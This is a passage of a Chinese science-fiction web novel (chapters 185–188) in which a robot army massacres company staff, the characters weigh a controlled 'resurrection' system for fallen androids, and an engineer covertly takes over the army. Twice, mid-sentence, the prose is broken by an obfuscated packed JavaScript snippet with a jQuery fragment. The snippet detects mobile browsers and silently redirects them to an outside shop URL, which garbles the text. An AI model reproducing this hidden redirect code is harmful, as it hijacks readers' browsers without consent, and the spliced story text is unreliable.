忽地,一旁柜子边传来悉悉窣窣的声音,两个浑身是血穿着实验服戴着口罩的人将一个腹部有电戟贯穿伤的人向外拖动。他们三人对视了一眼,还没等玄烈做什么,那两个人便惊恐地“扑通”一下跪在了地上,双膝猛地磕向地面,颤抖着举起双手做投降状。 玄烈赶忙去探了地上那人的脉搏,发现那人已经死了,“怎么回事!” 两人相视一眼见玄烈没打算动刀枪,悬着的心放下了一点,可两张嘴颤颤巍巍半天,一句完整话也说不清。 好半天,玄烈才搞清楚他们表达了什么,大致意思就是一些员工参与了外面的暴动,可以追捕名义出动的黑寂军一来到工作区就大肆绞杀,完全无差别行动,瞬间就把整栋楼变成了血海,高层之下的人一个也不放过。 舜希疯了?!这样对舜氏有什么好处? 玄烈正疯狂转动大脑,黑寂军脚下那双机械靴的声音从外面响起,大概是来二次巡逻的。 二人吓得立刻到处乱跑寻找着藏身处,玄烈抓着其中一个人,“黑寂军无权杀我,我能保你们。” “你保不了!”其中一个人崩溃了,“你不是黑寂军的指挥官,它们不杀你但不意味着它们会听你的命令不杀我们!你能杀了它们吗?你能跟舜氏作对吗?!” 说着二人分别躲进了储物柜和桌下。黑寂军刚拐过来看到玄烈下意识就端起电戟,但它们很快反应过来玄烈不在它们屠杀的范围内,于是径直略过他看到地上的那个尸体。 两只黑寂军将那尸体拖走了,另外两只则开始翻箱倒柜寻找是否有遗落的幸存者。其中一只弯腰俯身到桌下很快就发现了一个装死的人,是刚才崩溃大喊的那个。 黑寂军二话不说端起电戟刺进那人的心口,一声轻微的呜咽,那人没有了声音。 趁那只黑寂军将那人拖出来之时,玄烈缓慢移动到了另一人躲着的柜子前。 另一只黑寂军走了过来,示意要搜索玄烈身后的柜子,那通着滋啦作响电流的金属刃在眼前晃,玄烈想起刚才那个人说的话,他能和舜氏作对吗? 见玄烈不理会,那只黑寂军伸手转向玄烈的肩膀,却被玄烈反手抓住其手腕再反向一折一推,它的手臂就此被折断了。 黑寂军们被玄烈的动作刺激到了,前面拖那尸体的黑寂军也跑了回来,要向玄烈发起进攻。 然而不等他们靠近,“砰砰”几声,库星一人一颗子弹就喂进了那些黑寂军的眉心,强大的威力直接给那些黑寂军的金属脑袋干炸了。混合着血的碎片撒了满地,此时才有真正凄惨的效果。 黑寂军听到异动还会再来的,玄烈赶快把那人从柜子里拽出来,一路穿过屠杀场跑向大楼侧面一扇不起眼的小门。 “把实验服脱了,跑出去钻在人群里!”门边,玄烈喊道。 那人边朝主路跑边脱着自己身上那鲜血淋漓的白色实验服。然而当他一只脚已经迈上深灰色的马路时,一颗追踪子弹从天而降划出平滑的弧度径直钻入了那人的心脏。 血液迸现,那人顺势倒地,实验服落在他身后不远处。不一会,实验服上还算干净的白色区域也被那人潺潺的血流染红了。 穿过小门低矮的门框,玄烈定定地望着那边凄厉的红。 一个人缓缓从天而降,她是面对玄烈的,黑金色外骨骼在黑压压天色下显得异常闪亮,何况她还带着那金灿灿的面具,长发随风飘动。 “一旦产生拯救别人的念头,就要承担别人生命的沉重,你做得到吗?” “难道杀了他们就不用承担了吗?”玄烈反问道。 舜希脸上没半点表情,没有悲哀没有兴奋亦没有愤怒,要说有,也是一副泯然众生的漠然样子。 “很多人明明没有参与外面的事情,为什么还要杀了他们?”玄烈强压着心里翻腾不息的火气。 然而这个问题一出口,他看到舜希嘴角那抹笑,忽地明白怎么回事了。 他忘了,他忘了舜希就是潼霜,他忘了之前潼氏所推行的“机器人自管”政策,忘了在舜希的领导下,潼氏变成了几乎由机器人组成的公司。而由机器人组成的公司更好管理,比人类好控制,比思维锁好用千百倍。 舜希这一招多少有借刀杀人的意味。原来她早就想如此,只是一直缺少一次性将人们逐出舜氏的机会。 现在这个机会摆在她眼前,何乐而不为呢? “玄烈——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515832|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪凛烛的叫喊声在身边回荡,很快,她从楼梯上拐了过来,“我看到工作区有很多血,怎么回事!” 玄烈闭口不答,纪凛烛走到他身边来,看到了前方的舜希。 “听说你昨天辞职了,辞得很是时候。”舜希笑道。 “如果我没辞职,你也会杀了我吗?”纪凛烛冷眼问。 “当然不会,不仅不会杀你,还会因为你而放过他们。” 见舜希假话也能说得这么面不改色,纪凛烛干笑了两声,“可惜我已经辞职了,你是不是该把我也杀掉?毕竟你已经把他们全都杀了。” 舜希没有回答。她停顿沉思着,好像真的在考虑纪凛烛的提议。在这之间,大波被派往市中心的黑寂军已经回来了,它们排成整齐的长队,沾了浑身的血。机械体则在后面较为零散地走着,他们身上脸上有些脏乱,却没沾多少血。 “也不会,”舜希突然开口,“如果不是你们,我恐怕还没找到合适的机会。谢谢你们帮助舜氏,谢谢你们帮助我。对了,关于舜真的斩翼军,你们知道多少?” 舜希是明白怎么让人憋一肚子气窝火窝到天上去的,玄烈暗暗攥紧了拳,默想着怪不得她能和韶赋修一起合作,果然是一样的人。 “什么都不知道,”玄烈咬牙道,“你让黑寂军到市中心杀人,之后颠转怎么办?” “好吧,”舜希轻轻转着她左手中指上的一枚金色小圆环,“颠转会照旧,之后大批量机器人会代替普通人的存在,它们只需要能够执行最简单的程序,进行必要的、设计好的工作,并且不死不灭存活百至千年,城市秩序将不再会被改变。” “那人类呢!”纪凛烛也逼视道。 “我正是为人类着想。人类要想完全实现阶层跨越那么被踩倒的就不能是人,否则那一天永远不会到来。我将人类数量缩小,将他们全都捧到上层,此后也不会再有差别,真正的……众生平等。” 这句话的重音全部集中在“众生平等”四个字上,她说得轻描谈写,吐出来却好像能把地面砸穿。这是个小小的永璃岛难以承载的问题,舜希才是所有人里最天真、最痴心妄想的那个。 “你的众生平等里没有我们吧。”纪凛烛截断了舜希的畅想,只当她在说梦话。 “会有的,”舜希笑了笑,随即向他们摊开手,“把芯片给我,我送你们进入‘众生平等’。” 望着她那只瘦弱苍白到没一点血色的手,纪凛烛哼了一声,“你要去有什么用呢?芯片还没被研发完全,你要走了也不见得能直接使用,或者再等一两个月把它研发完整?但在那之前,第一第二战备将离开舜氏,正式与舜氏决裂。这不是得不偿失吗?” 显然纪凛烛深谙舜希嘲讽语气的精髓,话里话外都透着一股压人半头的味道,舜希那张铁脸这下更加板得跟吃了枪子似的。 “最后补充一句,你是不是在想,如果只有玄烈这个第一战备一个人就好了,你还能对付。可惜,现在有了一个我。” 纪凛烛也学舜希的样子抱起手臂,“舜董现在应该做的不是朝我们要东西,毕竟芯片在我们这很安全,你更该做的,是对程工程师在守护与研发第二战备有功的事做出奖励。” 186. 复活(1) 经过一整天收拾残局,城市终于又在被强制压抑的悲痛里睡去。不知何时玄烈发觉自己竟熟悉了颠转里惯有的刺鼻气味,而今天血腥味的刺激又使他清醒过来,久违地让他有种特别鲜明的被排斥感。 那段对话后面没什么有效内容,舜希没有动用暴力争抢,玄烈他们面对一个又一个生命的终结也无法做出行动。很多时候旁观者也是施暴者,玄烈艰难地背负着他承担不了的事物,在一片叹息中,他已经躺了三个小时了,仍毫无睡意。 傍晚那会天幕才恢复运转,这一天从永夜蹦到了有黄昏的永夜,一片火烧云动画将黑夜驱散,又迎来另一团黑暗,十分像他们在这一切之间的地位,被困在罅隙里,做着无用功。 今天是食堂修建完成以来人最少的一天,以后也不会更多了。凛烛从论坛调出舜希刚颁布的新规,她将舜氏近期研发的一系列新型高技能拓展芯片开放作为奖励,开发了一套全新且极其严苛的奖惩制度。 纪凛烛拿过电脑认真看了一圈,“这系列的芯片我知道,从颠转开启的那一天立项的,可是这么快就已经完成了吗?之前我听小真姐说这些芯片还处在不稳定状态呀。” “这应该只是个噱头,吸引那些机械体心甘情愿在规定下做事,直到这些制度天长日久刻在他们骨子里。”玄烈道。 “她把机械体内部平衡完全打破了,怎么会有这么管理公司的!”凛烛很是生气,“她的那些规矩我都一条条看了,她是想制造完全的零和博弈,巴不得看机械体们自相残杀,逼得只有精英才能留下来……” 未来机械体将从简单的三队细化为两个阵营八支列队十六支灵活型小队六十四个小组,抛去日常训练,新增周考月考季考半年考年考,考核全部是淘汰制,优胜者奖励积分,积分可兑换职务和奖励。 而“残次”与“半残次”以及“报废预备役”三等称号的选评规则也进行详尽描写,机械体们可进行自评与□□,被官方列为这三类的机械体将进行不同类型的报废处理,机械体间可相互约束监督,凡见触碰到这些条目的机械体,任何人有资格对其进行惩戒。 并且对于每一层级选拔出来的首领,机械体们可以通过挑战的方式进行替位。 此谓“民主”。 这是大致框架,更多密密麻麻的规矩则罗列在公告的下方,读着读着玄烈都开始晕字了还没到读完的时候,谁知道舜希想这么多弯弯绕绕又触目惊心的条目想了多久。 “其实谁胜出以什么渠道胜出都不重要,”玄烈悉悉地将所有字浏览完全,“哪怕让他们自己在训练场上动刀动枪打群架,只要能活着走出来,就是舜希要的人。” “这下灼琛挑战你我是合理合法了,”纪凛烛无奈地靠在椅背上,面前的粥已经没了热气,她一口没动,“这也是她强压之下的做法,不是完全不能理解,只是这样只会加速消耗舜氏的寿命,这是在推舜氏上悬崖。” 几人长长叹息,合上电脑准备先解决面前的饭菜。就餐的人少了之后,小机器人们倒是全都恢复了活力,一个个巴不得让这些仅存的客人多吃再多吃。 玄烈夹起一片香菇放在盛满米饭的碗里,却没动筷吃,“我其实……这几天总能看到……她。” “谁?小真姐?”纪凛烛问。她搅了搅粥,发现全凉了,只得让小机器人再拿回去加热。 玄烈点头。他真的感觉自己出了幻觉。 “可能不是幻觉,”纪凛烛说,“之前你也觉得你总能看见我,而事实是那就是我。我猜……大概有诈,不管她是谁,她可能都是在引你。” “她……不会真的还活着吧?”凛烛弱弱地插了句嘴。这是头一回,他们聊到了一个能让他将注意力从饭菜上移开的话题。 听此,玄烈和纪凛烛皆发愣地抬起头,凛烛眼睛亮了,“真的有可能吗?” 经历了这么多,他们反而又很难对一件事情下定论了,玄烈摇了摇头,“我也说不准了。” “我觉得,对方好像在有意利用你的自责……”纪凛烛一阵见血,“你时常看到她就会时常想起过去的事,那个人要让她的死变成一道你永远也迈不过去的坎。其实,那次宴会酒里下药的事就是小真做的。” “是她?”玄烈一惊,“为什么?” 这个话题在凛烛面前有些难以道明,但知道总比被蒙在鼓里强。 “如果没有你,她可能也不会活到现在。我们在第二战备基地时刻观察你的情况,发现这几次的病毒依然不能使你能力得到显著提升。程炼他们打算直接用电击的方式完成激发,可小真的意思是,如果能极大程度地激发病毒,或许能将你的那道能力锁激开。” 越提到舜真,凛烛眼里的那抹光就越明朗,他聚精会神地捕捉每一个字,比说的人还认真。 “但这不能怪你,她说过她早就做好了准备,孑盏和阿盼都在她的名录里,而她也把自己的名字写在了上面。她说她已经尽全力为咱们铺路了,在那之前,她把她自己也当作咱们前进路上的其中一枚障碍。” 见气氛越发低沉了,纪凛烛主动给玄烈碗里又夹了片油菜,“不过事已至此,她肯定不会是凭空出现的。没关系,下次你再看到,不要躲,她希望诱你入陷阱,你也能反客为主主动解开真相。” 玄烈盯着那油菜,点点头。 凛烛看着玄烈,“你不喜欢吃菜吧?” “你怎么知道?”玄烈问。 “因为我不喜欢啊。”凛烛道。 玄烈将那片嫩绿的油菜夹了起来,“我从今天开始喜欢吃油菜。”说着便放进了嘴里。 “嗯,多吃菜才是乖孩子。”纪凛烛满意地点头道。 对面的凛烛只得撇撇嘴,把头闷下去哐哐一顿吃,吃不完誓不抬头。 隔天,杨宁将他们叫到了办公室。 因为人数锐减,他的部门也冷清了许多。玄烈他们到的时候,杨宁办公室热水壶刚发出尖锐的嗡鸣声。水烧开了,几沓资料凌乱地堆在桌子上,三四个茶杯摞在一起,茶壶里的茶叶也像是在里面待了几天几夜,沙发的靠垫歪了,还有的在地上,而杨宁一门心思扑在乱七八糟的文件堆里找签字笔。 “你们来啦,先坐,先坐。”他招呼道。 玄烈摁掉了热水壶的按钮,声音终于是停了。热气从壶嘴里急切地向外冒,他端着水壶半天不知该往哪倒,只好又将水壶放下。 “杨叔,你的助手呢?”纪凛烛问。 杨宁从杂乱无章的桌边抬起头,他头发很乱,也有两三天没挂胡子,黑眼圈让他立马像老了十岁。他从桌子一旁的几本厚书下发现了那支签字笔,用力拽出来的时候还撂倒了一大堆纸本。 他顾不得那么多,先大手一挥在一个文件上签了字。文件夹刚和上,一只机械体就走进来把文件收走了。 “死了。”杨宁说。他来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533539|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶几旁看着茶几上的一切,想说的话没说出来,一时沉默了。 “杨叔,怎么了?”玄烈道。 杨宁从发呆中晃过神来,“实在惭愧,以前客人来因为买不起好茶招待不了,现在什么都有了,还是招待不了……别愣着,你们坐你们坐……” 待众人坐下,杨宁仍不死心地从茶几下端出几个杯子,却依然不像是被清洗干净的,他干脆也摆烂了,“前两天还忙得跟狗一样,现在人少了也是好事,我闲多了!哈哈哈哈……” 一抬眼,他看到对面的凛烛,“哦?我听玄烈讲,你就是之前的第一战备?” 凛烛点头,杨宁接着问:“你还认识我吗?” 这次,望着杨宁,凛烛眼神里无法闪出那股看见熟悉面孔的欣喜感,“记得,”他语气很不好,“是你,关键时刻出卖了舜氏。如果有蓝幕盾,我们或许还能再撑得久一点。” 杨宁的表情一下子尬在脸上,那阵还没完全绽放的笑意现在变得特别像诡计被戳穿后的心虚和愧疚,“是,是我。”他轻声说。 “杨叔,您叫我们来,有什么事吗?”纪凛烛主动打破了这奇怪气氛。 “啊,我是想知道……涂云爆炸的事,”生怕突然这么问显得唐突,杨宁赶忙又接了一句,“我最近也是太忙了,按理说你们的行动我都该帮忙,现在……现在好了,你们有什么需要的可以随时找我。” 杨宁话语确实恳切。对面他也不必掩饰什么,玄烈就如实将这两天发生的事讲了一遍,顺道提到了灼琛。 “他真的很奇怪,只相信自己相信的,”凛烛忍不住插嘴道,“他以为复活是什么很简单的事吗?” 杨宁半天不接话,只无声地看着几人,一脸有话说不出的样子,十分古怪。 “怎么了?”纪凛烛问。 杨宁表情为难地搓了搓手,“其实这也是我今天把你们叫来的原因,复活……也不是完全没有办法……” “不可能,”凛烛即刻质疑道,“智识芯片是堪比人类大脑和心脏的存在,损坏就是损坏了,除非人类也能起死回生,否则我不相信有复活的说法。” “你别急呀,”杨宁生怕凛烛声音太大传到门外去,“严格来说,我说的这种方式叫假性复活……潼氏曾发明一种能够让机械体短暂性复活的系统,借用一种非常规智识芯片,可以通过受到损伤的机械体身体以及与此机械体相关的一系列信息进行虚假重构,名为‘钢钉’系统。” “也就是AI?”纪凛烛问。 “不完全一样,但有AI的参与。AI能够通过这只机械体的过往计算整合出一个模拟的系统,而‘钢钉’可以完成这只机械体的实体重构,通俗来讲就是……更高级的计算系统,计算出的结果能够无限趋近于真实,从记忆到行事风格再到实力,和之前真实存在的机械体没两样。”杨宁道。 “也就是说我们真的有可能让炬衍复活?”纪凛烛眼睛闪亮亮,”不仅是炬衍,还有炳灿、伏策……他们都能活过来吗?“ “嗯……理论上是这样,但还有我前面提到的前提……‘钢钉’系统是四十年前玄铮在潼氏研发的,它现在属于潼氏。你们要真有打算‘复活’他们,可能得和舜希合作。”杨宁道。 “她恐怕不会答应。”玄烈说。 “不,”杨宁露出神秘的微笑,“如果你们要‘复活’对你们来说有利的人,她可能反而会答应。” 187. 复活(2) 见凛烛眼神依然凝重里带着几分怀疑和阴沉,杨宁感觉后背好一阵着凉,不由得裹紧了自己的衣服。 “咳咳,不卖关子了。那枚非常规的特制智识芯片是‘钢钉’打在机械体体内的烙印,届时……舜希会获得这些机械体的操控权。说白了,‘钢钉’系统原本就是为控制而生的,所谓‘复活’,不过是在实现机械体操控前的回光返照……” “这也能叫复活?!”凛烛只当这人说了半天废话,一时震怒不已。 随着凛烛音调上扬的还有杨宁那脆弱的小命,他下意识恐惧地猛然向后靠在沙发上,“你别着急我还没说完啊……她是能够操控机械体,但要从机械体‘复活’到完全实现操控是需要时间的。” 玄烈立马捕捉到这个信息点,这很重要,“有多久?” “从‘复活’完成到操控覆盖,有七十二小时。期间可以对他们进行关机处理,关机状态不进行计时,但总共只有七十二小时。”杨宁道。 “七十二小时后呢?”纪凛烛担心地问。 说到重点,杨宁再也无法轻松地将后续道出来,他眼带愁意目光回闪,紧抿着嘴欲言又止。 随后,他沉重地叹了口气,“七十二小时后,舜希将实现对这些机械体的完全掌控,若不想七十二小时后被操控,就必须进行焚毁处理。” “现在的舜氏机械体都有经过‘钢钉’操控吗?”玄烈试探着问。 杨宁摇摇头,“‘钢钉’没那么大能力能操控这么多人,好钢要用在刀刃上,何况十年前舜希就公布停止‘钢钉’项目了。但她没彻底把这块放弃,我看到她依然单独为‘钢钉’的运转留出一间办公室,应该是可行的。” 之后,他沉默了,另外三人也只能沉默。“复活”是能多出许多帮手不假,他们也十分渴望着能和那些人再见一面。这个办法点燃了每个人心里的火苗,但他们最终都能预见结局,那个亲手续写再亲手毁灭的结局。 “我原以为你会死心塌地地为舜希做事。”凛烛道。 杨宁揉了揉疲惫的眼睛,将手肘顶在沙发边手托着下巴,“我累了,跟不上她的节奏,或许一开始就没有跟上过,二十多年前就没有跟上……最近舜希在海外新建的五个颠转场已经在收尾阶段了。” 提到这,几人纷纷吃惊。杨宁呵呵一笑,“你们会想,为什么在颠转里这一亩三分地都还不稳定的时候要那么急切地发展海外呢?你们吃惊,我也吃惊。我本来就不是什么圣人,所以我曾经真心诚意地想了解想提一些建议,但是都落空了。” 他摊摊手,“如果没有韶赋修,她大概早就扶摇直上了。她的野心比我想象得要大得多,大到在她的野心面前我所干的任何事都是胆小懦弱的拖泥带水,我自愧不如。有时候我在想,要是我真的站到她身边去是不是想法又会不一样……唉,胡思乱想罢了。” 说着,他抬起眼特别认真郑重地望向几人,“我没有选择的余地了,但你们不一样。颠转存在一天,韶赋修就不会向你们正面发起进攻,所以……趁此机会,让舜希下台。” 机械体管理细则正式应用的第一天,新的训练安排颁布的前一天,玄烈独自在训练场一侧的小训练室待了好久。 他知道大多数机械体都在等这一天去挑战自己过往的头领,从支队队长到大队正副队长大概要大换血,而他坐着总队长的宝座手握整体机械体的指挥权,定然是很多机械体虎视眈眈的目标。 实际上,他也巴不得赶快把这烫手山芋交出去。拿在手里又用不了,舜希多少得压他一头,且整改后的机械体队伍绝对会大变样子,到时又要滋生很多问题,他才懒得每天带那些小兵魔鬼训练。 最最主要的是,他有斩翼军。虽然不见得一定会比那些机械体厉害,但至少会比他们更听话。 就这么从早坐到了黄昏时段,小训练室的门一直敞开着,却无人光临。早些时候训练场上还有不少小孩举在一起打架,场面十分凌乱。打记忆起玄烈就没见过这样的景象,大白天好端端的训练场空无一人,来了的人也不为训练而是奔着瞎打架。 他全程扒在栏杆边观摩,时不时指点两句,可没人领情,全都反过来白玄烈好几眼,他只得闭上自己的嘴,然后不停念叨:“观棋不语、观棋不语……” 没有发生他想象中那样残酷的场面,大家大多打着打着就分开了,要么认输要么都认可平局,没有那种誓要把人逼到死路的局面出现,就这样百无聊赖的一整天。 天还是黑的,除了每到傍晚时候准时划过一片火烧云外再没别的颜色,眼看又要到饭点了,一个磨磨蹭蹭的身影来到小训练室门前。 灼琛筋疲力尽地靠在门边,他浑身伤痕累累,外骨骼有不少损坏,衣服表皮也被划烂了,翅膀也出现了裂痕,这些损伤细究起来有子弹痕刀痕火燎痕以及更多武器留下的痕迹,想必是经历了好几番混战。 他额角也有伤口,嘴角脸颊都肿了起来,鼻梁也被划了两道,眼角泛有淤青。 “我来……和你打……” “打什么,打太极吗?” 玄烈要把灼琛扶到屋里,却被灼琛一手甩开,那根火烫烫的激光棍径直横上玄烈脖颈。 “和你,打、打架。” 灼琛眼睛都快睁不开了,脚下也站不稳,紧绷的手臂肌肉无时无刻不再发颤。玄烈迅速扬出库星锥砍开激光棍,库星锥把手处卡着灼琛的手腕,轻而易举一转就让灼琛松了手。 “嘭”的一声脆响,激光棍掉在了地上。 “谁把你打成这样的?”玄烈不解。 “一队队长……花重金,雇佣机械体,要抢、抢我的激光棍……”实在站不住了,灼琛伸手撑着一旁门框,弯下腰大口大口喘着气。 “就这还要跟我打?” “我要你的……指挥权……” 好办,直接送给你。玄烈原想这么说,但灼琛大概不会相信,还会觉得他是在挑衅。 玄烈抬腕看看时间,“我一会要去吃饭,只能给你十五分钟。打架可以,你输了,我把机械体指挥权给你。” 灼琛抬头瞥了玄烈一眼,又弯下腰,“神经病……” 也不惯着他,玄烈直接揪着灼琛的衣领子将其揪了起来,“别废话,我再说最后一遍。你输了,我把机械体指挥权给你,你赢了……我们帮你复活炬衍。” “什么!” 听到这话的灼琛突然停止了喘气,他惊喜地瞪着玄烈,好像身上的疲惫和伤痛猛然间一扫而光,这句话的含金量等同于他一口气喝一百八十瓶抗疲劳饮料。 但很快,他想到了什么,眼里澎湃的光又灭了,“来不及了、来不及了……” “你说什么?”玄烈听不清他究竟在念叨什么。 “你说话算数!”灼琛眼眸坚毅地看着玄烈。 “当然。”玄烈使出几只库星锥幻影将地上的激光棍铲起,抛到了灼琛手里。 早些时候,他们把从杨宁那听到的信息全部传递给绯篱,然而绯篱刚听完就毅然决然地给出了另外三人没法干脆给出的答案,她说不行。 “要是他们知道后果会是如此,肯定不会为了自己活着而出卖大家,而且……重新‘复活’的他们还是他们吗?何况只有七十二小时……我们能用这七十二小时实现逆转吗?” 他们都知道这个机会千载难逢,绯篱自然不例外。她那双透亮的圆眼始终倔强地紧锁着地面,似乎不愿承认自 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“如果是我,我也愿意。反正我都已经死了,再死一回没什么大不了的。”凛烛插嘴道,“现在已经不是靠力气就能打赢比赛的时代了,咱们能不能活着看到那一天还不一定呢,在乱世里,活着死了差不多。” 这番话让绯篱脸上浅浅现出些笑容来,“第一战备老师,你原来是这么乐观的性格吗?” 凛烛叹了口气,“不是,但伏策是,他以前常常这么说。可能是这几天扮演他上瘾了,被潜移默化地影响了。” “杨叔说的是七十二小时后被操纵的应对方式是焚毁,那是不是意味着我们在七十二小时内拔掉他们的芯片或是将他们拆解……” “拆解?!”绯篱被纪凛烛的话惊了一跳。 “不不,”纪凛烛摆着手,“总之令他们失去行为能力,或者藏起来,是不是就能规避掉要焚毁他们的风险?” “有道理。”玄烈点点头。 “如果这样……那我就还能见到炳灿老师!”绯篱一脸欲哭无泪。 “那就……试试?”凛烛问。 “嗯!”绯篱用力点了点头。 于是炬衍也被规划到了他们的“复活”范围,不管灼琛这架能不能打赢,玄烈都是要把炬衍复活的,并且正好趁此机会将灼琛也拉拢过来,这样舜希那边将再损失一员大将。 刚回忆到这里,一束激光宛若游龙猛然向玄烈眉心扎来。他迅速蹬地躲开,一扬手,几十只幻影齐齐扎去。 只听见外骨骼内部的弹簧一阵急剧压缩的声音,灼琛在不大点的空间完成了漂亮的翻转,挡开幻影,棍子径直劈向玄烈脖颈。 好长一声金属剐蹭的声音,库星锥挡开了棍子的突袭。玄烈背靠着墙,侧身一转,再躲开了一束致命激光。 “让你赢没说要我命,我死了谁帮你复活炬衍!” 意识到这一点,灼琛慌忙收起了棍子,“抱、抱歉……” 但趁此机会,玄烈一个扫堂腿给灼琛撂到地上,对着其本就昏沉又过度兴奋而近乎癫狂的脑袋就是猛力一个肘击,灼琛失去了意识。 唯一奇怪的是,他口中的“来不及了”究竟是什么意思? 不懂其中含义,玄烈拍拍身上的灰准备离开。临走前,他没忘将机械体指挥权转移到了灼琛的腕表内,顺道帮他叫了急救。 此时论坛忽然被顶上来几条闪烁着急报的帖子,几只机械体在A区高级行政区看到了舜希和程炼面对面对峙。 最诡异的是,在二人相谈不快之时,舜希刚举起手枪,便有人挡在了程炼身前。 从摇晃的偷窥视角视频里能看到,那些站着人一个个稳如泰山,黑色的盔甲于光下展现的优美的光泽,电戟尖端闪耀着蓬勃的电流。 那是黑寂军。 188. 复活(3) 纪凛烛说的话舜希一直耿耿于怀,虽说当时第二战备基地爆炸的事几乎印证了她的猜想,程炼的身份板上钉钉,可玄烈后来带去的第二战备盒子和第一战备智识芯片牵引了她的注意力,使她没再想程炼的事。 这么想来,确实是时候追责了。 她交代给程炼的任务是在顶层实验室拆解第二战备盒子,研究其内部构造并提取残留的信息。然而这一天傍晚她却在高级行政区发现了程炼的身影。 他破天荒没穿实验服,一身深蓝色西装配浅灰色领带,皮鞋擦得锃亮,手里拿着几张不知写着什么的资料。 “程总。”舜希叫住他。 听出舜希语气里的质问味道,程炼停下脚步转回身来。 “您不在实验室,来这做什么。” “办理离职。”程炼如实道。 此话一出,那阵本就不鲜明的微笑在舜希脸上凝固住了,“离职?你是来找我的?” “我在这等了您一天,”程炼交出手里的资料,“这是我的离职信。” 舜希没接,“什么原因?” “不想干了。”程炼依旧板着脸。 见他如此目中无人,舜希郁闷地发起笑,“你背着我帮助舜真、帮助第二战备复活又与我作对,现在想功成身退?你大概在他们那也没捞到好处吧?” 程炼压根不搭茬,“签了我的离职申请,给我通行证,我要出颠转。” 舜希只当他是疯了,“我不会签你的申请,也不会给你通行证,更不会放你出颠转。来人。” 顷刻间,几十只黑寂军便端着电戟赶来。 “程总,你现在面前只有两条路。第一条路,坦白你在第二战备基地进行的所有工作、所有细节,你知道的所有信息。” 常用的那柄全透明手枪幻化在舜希手里,弹夹是满的,比常规手枪蓄弹量要多不少,亮红色金圈子弹整齐排列,她说到一半,“咔咔”两声将枪上了膛,举向程炼,“第二条路……” 话音还未落,那枪口刚移向程炼脑袋之时,旁边的黑寂军像暗地里收到什么指令一般径直挡到了程炼身前,将他严严实实挡得彻底。 见这一幕的舜希眉头一压,她疑惑地将目光从瞄准转到那些忘了本的黑寂军身上,“你们疯了?” 舜希的枪仍一动不动,感应到威胁的黑寂军腾然举起电戟,切换时预备战斗的姿势,燃满电的长戟仅距舜希手里的枪三米远。突然间,一只黑寂军率先向舜希发起进攻,“砰”的一声子弹弹射出去。 子弹蹭着电戟爆出火光,玄烈眼前一闪,这个视频走到了结尾。他赶忙浏览别的帖子,才从舜希身后的视角看到了后续。 第一个黑寂军被爆了头,后面的黑寂军也不怕死地赶了上来。舜希的枪就没停过,子弹疾风骤雨般飞散出去,爆裂的花火在一只又一只黑寂军的毙命中挥洒得酣畅淋漓。 最后一只机械体被子弹击中身体,登时炸成一地碎渣,一阵烟尘飘散,不见程炼人影。 这段视频也到这里就结束了。前方的机械体们还没传回来什么新消息,玄烈对着论坛里大家热火朝天的讨论发呆。他总觉得不对劲,又返回去将第一段视频来来回回看了几遍。 在黑寂军们出动为程炼做人形盾牌的片段是玄烈看得最认真仔细的,他将这段放慢再放大,发现在舜希说那些话的时候,程炼的左手食指指尖点着什么,好像在发送某种无形的密码指令,随后黑寂军便赶了上来。 难道黑寂军被程炼控制了?他怎么做到的? 在不间断拨了五次电话后,杨宁终于接了起来。他声音发哑语调颓废,听起来像是躺在沙发或是床上,只有慵懒的、有气无力的一声“喂。” 玄烈脚步飞快向杨宁办公室行进着,“喂,杨叔,我需要你的帮助。” 杨宁此时真的在床上趴着,和他同床共枕的是几个颠来倒去的空酒瓶,要不是玄烈催促,他恐怕这一天都不打算进办公室一步。到达杨宁办公室后不久玄烈也收到了纪凛烛的电话,看来他们也知道了突发的这件事。 玄烈本是想向杨宁调监控看程炼到底背地里做了什么手脚,结果还没等他开口,杨宁就率先承认了。 “确实是我帮他想办法偷来的黑寂军指挥令。” “偷?”玄烈惊诧。 “我知道舜希通常把调动黑寂军机械体的实体指令放在什么地方,也知道怎么样帮他暗度陈仓,在黑寂军中间建立与舜希同级的调动指令。但这些都很散,他只能趁黑寂军出动时,进行分批技术入侵达到安放插件的目的,然后再一点点进行替换。” “他做这些用了多久?”玄烈急迫地问。 杨宁粗略掰手算了算,“一年。” “一年?!”刚赶来的凛烛发出惊恐的大喊。 “一年。那就是在颠转之前,甚至在……” 杨宁点点头,“甚至在你林老师回来前,在芯片比赛成立之前。他从那时候就蛰伏着准备好了要建立自己的力量。其实你林老师临终前答应给程炼的不是那颗发向潼氏的炸弹,而是黑寂军的源密码。” “林老师那时就知道舜氏迟早有一天会到舜希手里,不放心她和韶赋修的争斗,所以默允了程炼的做法?”玄烈问。 “是的,他在那时就想到了会有今天。”杨宁道。 “那么黑寂军从现在开始由保卫舜氏和永璃岛的公用军变成程炼的私人军队了?”凛烛睁大双眼。 杨宁无可奈何地点点头。 “这样看来局势彻底变了,”纪凛烛双眉不展走到玄烈身边坐下,“黑寂军归到程炼那里后,舜希手里只剩下机械体了,加上玄烈的斩翼军,现在舜氏被三股力量牵扯着,变成了三足鼎立的局面。对我们来说……未尝不是一件好事。” “那就先一门心思扭转颠转吧!”凛烛道。 “骨环怎么办?颠转是用它心脏支撑起来的,它一定会竭尽全力阻止。”绯篱道。 “你们可以向另一个和骨环一样的人寻求帮助。”杨宁道。 